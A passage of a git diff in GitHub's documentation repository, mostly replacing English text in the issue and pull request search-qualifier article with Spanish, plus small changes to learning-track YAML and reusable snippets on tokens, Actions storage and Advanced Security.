status:pending**](https://github.com/search?utf8=%E2%9C%93&q=language%3Ago+status%3Apending) matches pull requests opened into Go repositories where the status is pending. -| `status:success` | [**is:open status:success finally in:body**](https://github.com/search?utf8=%E2%9C%93&q=is%3Aopen+status%3Asuccess+finally+in%3Abody&type=Issues) matches open pull requests with the word "finally" in the body with a successful status. -| `status:failure` | [**created:2015-05-01..2015-05-30 status:failure**](https://github.com/search?utf8=%E2%9C%93&q=created%3A2015-05-01..2015-05-30+status%3Afailure&type=Issues) matches pull requests opened on May 2015 with a failed status. +| `status:pending` | [**language:go status:pending**](https://github.com/search?utf8=%E2%9C%93&q=language%3Ago+status%3Apending) coincide con las solicitudes de incorporación de cambios abiertas en repositorios de Go donde el estado está pendiente. +| `status:success` | [**is:open status:success finally in:body**](https://github.com/search?utf8=%E2%9C%93&q=is%3Aopen+status%3Asuccess+finally+in%3Abody&type=Issues) coincide con las solicitudes de incorporación de cambios abiertas que contienen la palabra "finally" en el cuerpo con un estado correcto. +| `status:failure` | [**created:2015-05-01..2015-05-30 status:failure**](https://github.com/search?utf8=%E2%9C%93&q=created%3A2015-05-01..2015-05-30+status%3Afailure&type=Issues) coincide con las solicitudes de incorporación de cambios abiertas en mayo de 2015 con un estado de error. -## Search by commit SHA +## Buscar por SHA de confirmación -If you know the specific SHA hash of a commit, you can use it to search for pull requests that contain that SHA. The SHA syntax must be at least seven characters. +Si sabes el hash SHA específico de una confirmación, puedes utilizarlo para buscar solicitudes de extracción que contienen ese SHA. La sintaxis SHA debe ser por lo menos de siete caracteres. -| Qualifier | Example +| Calificador: | Ejemplo | ------------- | ------------- -| SHA | [**e1109ab**](https://github.com/search?q=e1109ab&type=Issues) matches pull requests with a commit SHA that starts with `e1109ab`. -| | [**0eff326d6213c is:merged**](https://github.com/search?q=0eff326d+is%3Amerged&type=Issues) matches merged pull requests with a commit SHA that starts with `0eff326d6213c`. +| SHA | [**e1109ab**](https://github.com/search?q=e1109ab&type=Issues) coincide con las solicitudes de incorporación de cambios con un SHA de confirmación que comienza por `e1109ab`. +| | [**0eff326d6213c is:merged**](https://github.com/search?q=0eff326d+is%3Amerged&type=Issues) coincide con las solicitudes de incorporación de cambios combinadas con un SHA de confirmación que comienza por `0eff326d6213c`. -## Search by branch name +## Buscar por nombre de la rama -You can filter pull requests based on the branch they came from (the "head" branch) or the branch they are merging into (the "base" branch). +Puedes filtrar solicitudes de extracción en base a la rama de la que provienen (la rama "head" [de encabezado]) o la rama en la que están fusionadas (en la rama "base" [base]). -| Qualifier | Example +| Calificador: | Ejemplo | ------------- | ------------- -| head:HEAD_BRANCH | [**head:change is:closed is:unmerged**](https://github.com/search?utf8=%E2%9C%93&q=head%3Achange+is%3Aclosed+is%3Aunmerged) matches pull requests opened from branch names beginning with the word "change" that are closed. -| base:BASE_BRANCH | [**base:gh-pages**](https://github.com/search?utf8=%E2%9C%93&q=base%3Agh-pages) matches pull requests that are being merged into the `gh-pages` branch. +| head:HEAD_BRANCH | [**head:change is:closed is:unmerged**](https://github.com/search?utf8=%E2%9C%93&q=head%3Achange+is%3Aclosed+is%3Aunmerged) coincide con las solicitudes de incorporación de cambios abiertas desde nombres de rama que comienzan por la palabra "change" que están cerradas. +| base:BASE_BRANCH | [**base:gh-pages**](https://github.com/search?utf8=%E2%9C%93&q=base%3Agh-pages) coincide con las solicitudes de incorporación de cambios que se combinan en la rama `gh-pages`. -## Search by language +## Buscar por lenguaje -With the `language` qualifier you can search for issues and pull requests within repositories that are written in a certain language. +Con el calificador `language` puede buscar incidencias y solicitudes de incorporación de cambios dentro de repositorios escritos en un lenguaje concreto. -| Qualifier | Example +| Calificador: | Ejemplo | ------------- | ------------- -| language:LANGUAGE | [**language:ruby state:open**](https://github.com/search?q=language%3Aruby+state%3Aopen&type=Issues) matches open issues that are in Ruby repositories. +| language:LANGUAGE | [**language:ruby state:open**](https://github.com/search?q=language%3Aruby+state%3Aopen&type=Issues) coincide con incidencias abiertas que se encuentran en repositorios de Ruby. -## Search by number of comments +## Buscar por cantidad de comentarios -You can use the `comments` qualifier along with [greater than, less than, and range qualifiers](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax) to search by the number of comments. +Puede usar el calificador `comments` junto con los [calificadores mayor que, menor que y de rango](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax) para buscar por número de comentarios. -| Qualifier | Example +| Calificador: | Ejemplo | ------------- | ------------- -| comments:n | [**state:closed comments:>100**](https://github.com/search?q=state%3Aclosed+comments%3A%3E100&type=Issues) matches closed issues with more than 100 comments. -| | [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Issues) matches issues with comments ranging from 500 to 1,000. +| comments:n | [**state:closed comments:>100**](https://github.com/search?q=state%3Aclosed+comments%3A%3E100&type=Issues) coincide con incidencias cerradas con más de 100 comentarios. +| | [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Issues) coincide con incidencias con entre 500 y 1000 comentarios. -## Search by number of interactions +## Buscar por cantidad de interacciones -You can filter issues and pull requests by the number of interactions with the `interactions` qualifier along with [greater than, less than, and range qualifiers](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). The interactions count is the number of reactions and comments on an issue or pull request. +Puede filtrar las incidencias y solicitudes de incorporación de cambios por el número de interacciones con el calificador `interactions` junto con [calificadores mayor que, menor que y de rango](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). El conteo de interacciones es la cantidad de reacciones y comentarios sobre una propuesta o solicitud de extracción. -| Qualifier | Example +| Calificador: | Ejemplo | ------------- | ------------- -| interactions:n | [** interactions:>2000**](https://github.com/search?q=interactions%3A%3E2000) matches pull requests or issues with more than 2000 interactions. -| | [**interactions:500..1000**](https://github.com/search?q=interactions%3A500..1000) matches pull requests or issues with interactions ranging from 500 to 1,000. +| interactions:n | [** interactions:>2000**](https://github.com/search?q=interactions%3A%3E2000) coincide con solicitudes de incorporación de cambios o incidencias con más de 2000 interacciones. +| | [**interactions:500..1000**](https://github.com/search?q=interactions%3A500..1000) coincide con solicitudes de incorporación de cambios o incidencias con interacciones que varían entre 500 y 1000. -## Search by number of reactions +## Buscar por cantidad de reacciones -You can filter issues and pull requests by the number of reactions using the `reactions` qualifier along with [greater than, less than, and range qualifiers](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). +Puede filtrar las incidencias y solicitudes de incorporación de cambios por el número de reacciones con el calificador `reactions` junto con [calificadores mayor que, menor que y de rango](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). -| Qualifier | Example +| Calificador: | Ejemplo | ------------- | ------------- -| reactions:n | [** reactions:>1000**](https://github.com/search?q=reactions%3A%3E1000&type=Issues) matches issues with more than 1000 reactions. -| | [**reactions:500..1000**](https://github.com/search?q=reactions%3A500..1000) matches issues with reactions ranging from 500 to 1,000. +| reactions:n | [** reactions:>1000**](https://github.com/search?q=reactions%3A%3E1000&type=Issues) coincide con incidencias con más de 1000 reacciones. +| | [**reactions:500..1000**](https://github.com/search?q=reactions%3A500..1000) coincide con incidencias con entre 500-1000 reacciones. -## Search for draft pull requests -You can filter for draft pull requests. For more information, see "[About pull requests](/articles/about-pull-requests#draft-pull-requests)." +## Buscar solicitudes de extracción en borrador +Puedes filtrar por solicitudes de extracción en borrador. Para más información, vea "[Acerca de las solicitudes de incorporación de cambios](/articles/about-pull-requests#draft-pull-requests)". -| Qualifier | Example +| Calificador: | Ejemplo | ------------- | ------------- -| `draft:true` | [**draft:true**](https://github.com/search?q=draft%3Atrue) matches draft pull requests. -| `draft:false` | [**draft:false**](https://github.com/search?q=draft%3Afalse) matches pull requests that are ready for review. +| `draft:true` | [**draft:true**](https://github.com/search?q=draft%3Atrue) coincide con las solicitudes de incorporación de cambios de borrador. +| `draft:false` | [**draft:false**](https://github.com/search?q=draft%3Afalse) coincide con las solicitudes de incorporación de cambios que están listas para su revisión. -## Search by pull request review status and reviewer +## Buscar por estado de revisión de solicitud de extracción y revisor -You can filter pull requests based on their [review status](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) (_none_, _required_, _approved_, or _changes requested_), by reviewer, and by requested reviewer. +Puede filtrar las solicitudes de incorporación de cambios en función de su [estado de revisión](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) (_ninguno_, _obligatorio_, _aprobado_ o _cambios solicitados_), por revisor y por revisor solicitado. -| Qualifier | Example +| Calificador: | Ejemplo | ------------- | ------------- -| `review:none` | [**type:pr review:none**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Anone&type=Issues) matches pull requests that have not been reviewed. -| `review:required` | [**type:pr review:required**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Arequired&type=Issues) matches pull requests that require a review before they can be merged. -| `review:approved` | [**type:pr review:approved**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Aapproved&type=Issues) matches pull requests that a reviewer has approved. -| `review:changes_requested` | [**type:pr review:changes_requested**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Achanges_requested&type=Issues) matches pull requests in which a reviewer has asked for changes. -| reviewed-by:USERNAME | [**type:pr reviewed-by:gjtorikian**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+reviewed-by%3Agjtorikian&type=Issues) matches pull requests reviewed by a particular person. -| review-requested:USERNAME | [**type:pr review-requested:benbalter**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review-requested%3Abenbalter&type=Issues) matches pull requests where a specific person is requested for review. Requested reviewers are no longer listed in the search results after they review a pull request. If the requested person is on a team that is requested for review, then review requests for that team will also appear in the search results. -| user-review-requested:@me | [**type:pr user-review-requested:@me**](https://github.com/search?q=is%3Apr+user-review-requested%3A%40me+) matches pull requests that you have directly been asked to review. -| team-review-requested:TEAMNAME | [**type:pr team-review-requested:github/docs**](https://github.com/search?q=type%3Apr+team-review-requested%3Agithub%2Fdocs&type=pullrequests) matches pull requests that have review requests from the team `github/docs`. Requested reviewers are no longer listed in the search results after they review a pull request. +| `review:none` | [**type:pr review:none**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Anone&type=Issues) coincide con las solicitudes de incorporación de cambios que no se han revisado. +| `review:required` | [**type:pr review:required**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Arequired&type=Issues) coincide con las solicitudes de incorporación de cambios que necesitan una revisión para poder combinarlas. +| `review:approved` | [**type:pr review:approved**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Aapproved&type=Issues) coincide con las solicitudes de incorporación de cambios aprobadas por un revisor. +| `review:changes_requested` | [**type:pr review:changes_requested**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Achanges_requested&type=Issues) coincide con las solicitudes de incorporación de cambios en las que un revisor ha solicitado cambios. +| reviewed-by:USERNAME | [**type:pr reviewed-by:gjtorikian**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+reviewed-by%3Agjtorikian&type=Issues) coincide con las solicitudes de incorporación de cambios revisadas por una persona concreta. +| review-requested:USERNAME | [**type:pr review-requested:benbalter**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review-requested%3Abenbalter&type=Issues) coincide con las solicitudes de incorporación de cambios en las que se solicita una persona específica para su revisión. Los revisores solicitados ya no se enumeran en los resultados de búsqueda después de que han revisado una solicitud de extracción. Si la persona solicitada está en un equipo al que se le solicita la revisión, las solicitudes de revisión de ese equipo también aparecerán en los resultados de búsqueda. +| user-review-requested:@me | [**type:pr user-review-requested:@me** ](https://github.com/search?q=is%3Apr+user-review-requested%3A%40me+) coincide con las solicitudes de incorporación de cambios que se te ha pedido directamente que revises. +| team-review-requested:TEAMNAME | [**type:pr team-review-requested:github/docs**](https://github.com/search?q=type%3Apr+team-review-requested%3Agithub%2Fdocs&type=pullrequests) coincide con las solicitudes de incorporación de cambios que tienen solicitudes de revisión del equipo `github/docs`. Los revisores solicitados ya no se enumeran en los resultados de búsqueda después de que han revisado una solicitud de extracción. -## Search by when an issue or pull request was created or last updated +## Buscar por cuándo una propuesta o solicitud de extracción fue creada o actualizada por última vez -You can filter issues based on times of creation, or when they were last updated. For issue creation, you can use the `created` qualifier; to find out when an issue was last updated, you'll want to use the `updated` qualifier. +Puedes filtrar propuestas en base al momento de creación o al momento de su última actualización. Para la creación de incidencias, puede usar el calificador `created`; para determinar cuándo se ha actualizado una incidencia por última vez, le interesará usar el calificador `updated`. -Both take a date as a parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} +Ambos toman una fecha como su parámetro. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} {% data reusables.search.date_gt_lt %} -| Qualifier | Example +| Calificador: | Ejemplo | ------------- | ------------- -| created:YYYY-MM-DD | [**language:c# created:<2011-01-01 state:open**](https://github.com/search?q=language%3Ac%23+created%3A%3C2011-01-01+state%3Aopen&type=Issues) matches open issues that were created before 2011 in repositories written in C#. -| updated:YYYY-MM-DD | [**weird in:body updated:>=2013-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2013-02-01&type=Issues) matches issues with the word "weird" in the body that were updated after February 2013. +| created:YYYY-MM-DD | [**language:c# created:<2011-01-01 state:open**](https://github.com/search?q=language%3Ac%23+created%3A%3C2011-01-01+state%3Aopen&type=Issues) coincide con las incidencias abiertas creadas antes de 2011 en repositorios escritos en C#. +| updated:YYYY-MM-DD | [**weird in:body updated:>=2013-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2013-02-01&type=Issues) coincide con incidencias que contienen la palabra "weird" en el cuerpo y que se han actualizado después de febrero de 2013. -## Search by when an issue or pull request was closed +## Buscar por cuándo una propuesta o solicitud de extracción fue cerrada -You can filter issues and pull requests based on when they were closed, using the `closed` qualifier. +Puede filtrar incidencias y solicitudes de incorporación de cambios en función de cuán se hayan cerrado, con el calificador `closed`. -This qualifier takes a date as its parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} +Este calificador toma una fecha como su parámetro. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} {% data reusables.search.date_gt_lt %} -| Qualifier | Example +| Calificador: | Ejemplo | ------------- | ------------- -| closed:YYYY-MM-DD | [**language:swift closed:>2014-06-11**](https://github.com/search?q=language%3Aswift+closed%3A%3E2014-06-11&type=Issues) matches issues and pull requests in Swift that were closed after June 11, 2014. -| | [**data in:body closed:<2012-10-01**](https://github.com/search?utf8=%E2%9C%93&q=data+in%3Abody+closed%3A%3C2012-10-01+&type=Issues) matches issues and pull requests with the word "data" in the body that were closed before October 2012. +| closed:YYYY-MM-DD | [**language:swift closed:>2014-06-11**](https://github.com/search?q=language%3Aswift+closed%3A%3E2014-06-11&type=Issues) coincide con incidencias y solicitudes de incorporación de cambios en Swift que se han cerrado después del 11 de junio de 2014. +| | [**data in:body closed:<2012-10-01**](https://github.com/search?utf8=%E2%9C%93&q=data+in%3Abody+closed%3A%3C2012-10-01+&type=Issues) coincide con incidencias y solicitudes de incorporación de cambios que contienen la palabra "data" en el cuerpo y que se han cerrado antes de octubre de 2012. -## Search by when a pull request was merged +## Buscar por cuándo una solicitud de extracción fue fusionada -You can filter pull requests based on when they were merged, using the `merged` qualifier. +Puede filtrar las solicitudes de incorporación de cambios en función de cuándo se han combinado, con el calificador `merged`. -This qualifier takes a date as its parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} +Este calificador toma una fecha como su parámetro. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} {% data reusables.search.date_gt_lt %} -| Qualifier | Example +| Calificador: | Ejemplo | ------------- | ------------- -| merged:YYYY-MM-DD | [**`language:javascript merged:<2011-01-01`**](https://github.com/search?q=language%3Ajavascript+merged%3A%3C2011-01-01+&type=Issues) matches pull requests in JavaScript repositories that were merged before 2011. -| | [**fast in:title language:ruby merged:>=2014-05-01**](https://github.com/search?q=fast+in%3Atitle+language%3Aruby+merged%3A%3E%3D2014-05-01+&type=Issues) matches pull requests in Ruby with the word "fast" in the title that were merged after May 2014. +| merged:YYYY-MM-DD | [ **`language:javascript merged:<2011-01-01`**](https://github.com/search?q=language%3Ajavascript+merged%3A%3C2011-01-01+&type=Issues) coincide con las solicitudes de incorporación de cambios en repositorios de JavaScript que se han combinado antes de 2011. +| | [**fast in:title language:ruby merged:>=2014-05-01**](https://github.com/search?q=fast+in%3Atitle+language%3Aruby+merged%3A%3E%3D2014-05-01+&type=Issues) coincide con las solicitudes de incorporación de cambios en Ruby que contienen la palabra "fast" en el título y que se han combinado después de mayo de 2014. -## Search based on whether a pull request is merged or unmerged +## Buscar en base a si una solicitud de extracción se fusionó o se desagrupó -You can filter pull requests based on whether they're merged or unmerged using the `is` qualifier. +Puede filtrar las solicitudes de incorporación de cambios en función de cuándo se hayan combinado o de cuándo se haya anulado la combinación, con el calificador `is`. -| Qualifier | Example +| Calificador: | Ejemplo | ------------- | ------------- -| `is:merged` | [**bug is:pr is:merged**](https://github.com/search?utf8=%E2%9C%93&q=bugfix+is%3Apr+is%3Amerged&type=) matches merged pull requests with the word "bug." -| `is:unmerged` | [**error is:unmerged**](https://github.com/search?utf8=%E2%9C%93&q=error+is%3Aunmerged&type=) matches pull requests with the word "error" that are either open or were closed without being merged. +| `is:merged` | [**bug is:pr is:merged**](https://github.com/search?utf8=%E2%9C%93&q=bugfix+is%3Apr+is%3Amerged&type=) coincide con las solicitudes de incorporación de cambios combinadas con la palabra "bug". +| `is:unmerged` | [**error is:unmerged**](https://github.com/search?utf8=%E2%9C%93&q=error+is%3Aunmerged&type=) coincide con las solicitudes de incorporación de cambios con la palabra "error" que están abiertas o se cerraron sin combinarse. -## Search based on whether a repository is archived +## Buscar en base a si un repositorio está archivado -The `archived` qualifier filters your results based on whether an issue or pull request is in an archived repository. +El calificador `archived` filtra los resultados en función de si una incidencia o una solicitud de extracción está en un repositorio archivado. -| Qualifier | Example +| Calificador: | Ejemplo | ------------- | ------------- -| `archived:true` | [**archived:true GNOME**](https://github.com/search?q=archived%3Atrue+GNOME&type=) matches issues and pull requests that contain the word "GNOME" in archived repositories you have access to. -| `archived:false` | [**archived:false GNOME**](https://github.com/search?q=archived%3Afalse+GNOME&type=) matches issues and pull requests that contain the word "GNOME" in unarchived repositories you have access to. +| `archived:true` | [**archived:true GNOME**](https://github.com/search?q=archived%3Atrue+GNOME&type=) coincide con incidencias y solicitudes de incorporación de cambios que contienen la palabra "GNOME" en repositorios archivados a los que tiene acceso. +| `archived:false` | [**archived:false GNOME**](https://github.com/search?q=archived%3Afalse+GNOME&type=) coincide con incidencias y solicitudes de incorporación de cambios que contienen la palabra "GNOME" en repositorios sin archivar a los que tiene acceso. -## Search based on whether a conversation is locked +## Buscar en base a si una conversación está bloqueada -You can search for an issue or pull request that has a locked conversation using the `is` qualifier. For more information, see "[Locking conversations](/communities/moderating-comments-and-conversations/locking-conversations)." +Puede buscar una incidencia o solicitud de incorporación de cambios que tenga una conversación mediante el calificador `is`. Para más información, vea "[Bloqueo de conversaciones](/communities/moderating-comments-and-conversations/locking-conversations)". -| Qualifier | Example +| Calificador: | Ejemplo | ------------- | ------------- -| `is:locked` | [**code of conduct is:locked is:issue archived:false**](https://github.com/search?q=code+of+conduct+is%3Alocked+is%3Aissue+archived%3Afalse) matches issues or pull requests with the words "code of conduct" that have a locked conversation in a repository that is not archived. -| `is:unlocked` | [**code of conduct is:unlocked is:issue archived:false**](https://github.com/search?q=code+of+conduct+is%3Aunlocked+archived%3Afalse) matches issues or pull requests with the words "code of conduct" that have an unlocked conversation in a repository that is not archived. +| `is:locked` | [**code of conduct is:locked is:issue archived:false**](https://github.com/search?q=code+of+conduct+is%3Alocked+is%3Aissue+archived%3Afalse) coincide con las incidencias o solicitudes de incorporación de cambios con las palabras "code of conduct" que tienen una conversación bloqueada en un repositorio que no está archivado. +| `is:unlocked` | [**code of conduct is:unlocked is:issue archived:false**](https://github.com/search?q=code+of+conduct+is%3Aunlocked+archived%3Afalse) coincide con las incidencias o solicitudes de incorporación de cambios con las palabras "code of conduct" que tienen una conversación sin bloquear en un repositorio que no está archivado. -## Search by missing metadata +## Buscar por metadatos faltantes -You can narrow your search to issues and pull requests that are missing certain metadata, using the `no` qualifier. That metadata includes: +Puede limitar la búsqueda a incidencias y solicitudes de incorporación de cambios en las que falten determinados metadatos, con el calificador `no`. Esos metadatos incluyen: -* Labels -* Milestones -* Assignees -* Projects +* Etiquetas +* Hitos +* Asignados +* Proyectos -| Qualifier | Example +| Calificador: | Ejemplo | ------------- | ------------- -| `no:label` | [**priority no:label**](https://github.com/search?q=priority+no%3Alabel&type=Issues) matches issues and pull requests with the word "priority" that also don't have any labels. -| `no:milestone` | [**sprint no:milestone type:issue**](https://github.com/search?q=sprint+no%3Amilestone+type%3Aissue&type=Issues) matches issues not associated with a milestone containing the word "sprint." -| `no:assignee` | [**important no:assignee language:java type:issue**](https://github.com/search?q=important+no%3Aassignee+language%3Ajava+type%3Aissue&type=Issues) matches issues not associated with an assignee, containing the word "important," and in Java repositories. -| `no:project` | [**build no:project**](https://github.com/search?utf8=%E2%9C%93&q=build+no%3Aproject&type=Issues) matches issues not associated with a project board, containing the word "build." +| `no:label` | [**priority no:label**](https://github.com/search?q=priority+no%3Alabel&type=Issues) coincide con incidencias y solicitudes de incorporación de cambios con la palabra "priority" que tampoco tengan etiquetas. +| `no:milestone` | [**sprint no:milestone type:issue**](https://github.com/search?q=sprint+no%3Amilestone+type%3Aissue&type=Issues) coincide con incidencias no asociadas a un hito que contengan la palabra "sprint". +| `no:assignee` | [**important no:assignee language:java type:issue**](https://github.com/search?q=important+no%3Aassignee+language%3Ajava+type%3Aissue&type=Issues) coincide con incidencias no asociadas con un usuario asignado, que contienen la palabra "important" y que están en repositorios de Java. +| `no:project` | [**build no:project**](https://github.com/search?utf8=%E2%9C%93&q=build+no%3Aproject&type=Issues) coincide con incidencias no asociadas a un panel de proyecto, que contienen la palabra "build". -## Further reading +## Información adicional -- "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results/)" +- "[Ordenar los resultados de la búsqueda](/search-github/getting-started-with-searching-on-github/sorting-search-results/)" diff --git a/translations/es-ES/data/features/security-overview-views.yml b/translations/es-ES/data/features/security-overview-views.yml deleted file mode 100644 index 60f8016c1e..0000000000 --- a/translations/es-ES/data/features/security-overview-views.yml +++ /dev/null @@ -1,6 +0,0 @@ -# Reference: #5503. -# Documentation for the security overview individual views -versions: - ghes: '> 3.4' - ghae: 'issue-5503' - ghec: '*' diff --git a/translations/es-ES/data/learning-tracks/code-security.yml b/translations/es-ES/data/learning-tracks/code-security.yml index 3b35eb0a73..ae9e29ccb4 100644 --- a/translations/es-ES/data/learning-tracks/code-security.yml +++ b/translations/es-ES/data/learning-tracks/code-security.yml @@ -4,10 +4,14 @@ security_advisories: description: 'Using repository security advisories to privately fix a reported vulnerability and get a CVE.' featured_track: '{% ifversion fpt or ghec %}true{% else %}false{% endif %}' guides: - - /code-security/security-advisories/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities + - /code-security/security-advisories/guidance-on-reporting-and-writing/about-coordinated-disclosure-of-security-vulnerabilities - /code-security/security-advisories/global-security-advisories/about-the-github-advisory-database - /code-security/security-advisories/global-security-advisories/about-global-security-advisories - /code-security/security-advisories/repository-security-advisories/about-repository-security-advisories + - /code-security/security-advisories/guidance-on-reporting-and-writing/best-practices-for-writing-repository-security-advisories + - /code-security/security-advisories/guidance-on-reporting-and-writing/privately-reporting-a-security-vulnerability + - /code-security/security-advisories/guidance-on-reporting-and-writing/managing-privately-reported-security-vulnerabilities + - /code-security/security-advisories/repository-security-advisories/configuring-private-vulnerability-reporting-for-a-repository - /code-security/security-advisories/repository-security-advisories/creating-a-repository-security-advisory - /code-security/security-advisories/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory - /code-security/security-advisories/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability @@ -15,7 +19,6 @@ security_advisories: - /code-security/security-advisories/repository-security-advisories/editing-a-repository-security-advisory - /code-security/security-advisories/repository-security-advisories/withdrawing-a-repository-security-advisory - /code-security/security-advisories/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory - - /code-security/security-advisories/guidance-on-reporting-and-writing/best-practices-for-writing-repository-security-advisories # Feature available on dotcom and GHES 3.3+, so articles available on GHAE and earlier GHES hidden to hide the learning track dependabot_alerts: diff --git a/translations/es-ES/data/reusables/accounts/create-personal-access-tokens.md b/translations/es-ES/data/reusables/accounts/create-personal-access-tokens.md index 38f1bde189..ccf5587a83 100644 --- a/translations/es-ES/data/reusables/accounts/create-personal-access-tokens.md +++ b/translations/es-ES/data/reusables/accounts/create-personal-access-tokens.md @@ -1 +1,9 @@ -1. For each of your accounts, create a dedicated {% data variables.product.pat_v1 %} with `repo` scope. {% ifversion pat-v2 %}Or, for each of your accounts and for each organization that you are a member of, create a {% data variables.product.pat_v2 %} that can access the desired repositories and that has read and write permissions on repository contents.{% endif %} For more information, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)." +--- +ms.openlocfilehash: af44709073de5a6af1c4de166d5502502e8201e1 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148106833" +--- +1. En cada una de tus cuentas, crea un {% data variables.product.pat_v1 %} dedicado con el ámbito `repo`. {% ifversion pat-v2 %} O bien, en cada una de tus cuentas y en cada organización de la que seas miembro, crea un {% data variables.product.pat_v2 %} que pueda acceder a los repositorios que quieras y que tenga permisos de lectura y escritura en el contenido de esos repositorios. {% endif %} Para obtener más información, consulta "[Creación de un {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)". diff --git a/translations/es-ES/data/reusables/actions/change-cache-size-limit.md b/translations/es-ES/data/reusables/actions/change-cache-size-limit.md new file mode 100644 index 0000000000..777b1b1271 --- /dev/null +++ b/translations/es-ES/data/reusables/actions/change-cache-size-limit.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: bab76bbf8a22879b552e1657e77f09c77e8dd279 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148106825" +--- +1. En **Límite de tamaño de caché**, escribe un nuevo valor. +1. Haga clic en **Guardar** para aplicar el cambio. diff --git a/translations/es-ES/data/reusables/actions/enterprise-storage-ha-backups.md b/translations/es-ES/data/reusables/actions/enterprise-storage-ha-backups.md index 1fc6cd0c6e..87c752cae6 100644 --- a/translations/es-ES/data/reusables/actions/enterprise-storage-ha-backups.md +++ b/translations/es-ES/data/reusables/actions/enterprise-storage-ha-backups.md @@ -1 +1,9 @@ -{% data variables.product.prodname_actions %} uses external storage to store workflow artifacts and logs. This data is stored on your external provider, such as Azure blob storage, Amazon S3,{% ifversion actions-ghes-gcp-storage %} Google Cloud Storage,{% endif %} or MinIO. As a result, {% data variables.product.prodname_ghe_server %} backups and {% data variables.product.prodname_ghe_server %} high availability configurations do not provide protection for the data stored on this external storage, and instead rely on the data protection and replication provided by the external storage provider, such as Azure{% ifversion actions-ghes-gcp-storage %}, Google Cloud,{% endif %} or AWS. +--- +ms.openlocfilehash: 3b7f24930d60e05c5e2b42cf7610a2b4efe70a14 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148110129" +--- +Las {% data variables.product.prodname_actions %} utilizan almacenamiento externo para almacenar artefactos de flujo de trabajo y bitácoras. Estos datos se almacenan en el proveedor externo, como Azure Blob Storage, Amazon S3,{% ifversion actions-ghes-gcp-storage %} Google Cloud Storage,{% endif %} o MinIO. Como resultado, las copias de seguridad de {% data variables.product.prodname_ghe_server %} y sus configuraciones de disponibilidad {% data variables.product.prodname_ghe_server %} alta no proporcionan protección para los datos que se almacenan en este servicio externo y, en vez de esto, dependen de la protección de datos y replicación que proporciona el proveedor de almacenamiento externo, como Azure{% ifversion actions-ghes-gcp-storage %}, Google Cloud{% endif %} o AWS. diff --git a/translations/es-ES/data/reusables/actions/settings-ui/settings-actions-pages-custom-workflow.md b/translations/es-ES/data/reusables/actions/settings-ui/settings-actions-pages-custom-workflow.md new file mode 100644 index 0000000000..c0e429db95 --- /dev/null +++ b/translations/es-ES/data/reusables/actions/settings-ui/settings-actions-pages-custom-workflow.md @@ -0,0 +1 @@ +{% ifversion ghes > 3.6 %}To use {% data variables.product.prodname_actions %} as a publishing source for {% data variables.product.prodname_pages %}, a site administrator must enable {% data variables.product.prodname_actions %} for {% data variables.location.product_location %}. For more information, see "[Enabling {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/enabling-github-actions-for-github-enterprise-server)."{% endif %} \ No newline at end of file diff --git a/translations/es-ES/data/reusables/advanced-security/ghas-must-be-enabled.md b/translations/es-ES/data/reusables/advanced-security/ghas-must-be-enabled.md new file mode 100644 index 0000000000..7f19bfa937 --- /dev/null +++ b/translations/es-ES/data/reusables/advanced-security/ghas-must-be-enabled.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: db116a901e27f18a65208bc412246a28712097a6 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148106457" +--- +Las características de {% data variables.product.prodname_GH_advanced_security %} deben estar disponibles para la organización para que esta directiva surta efecto. Para 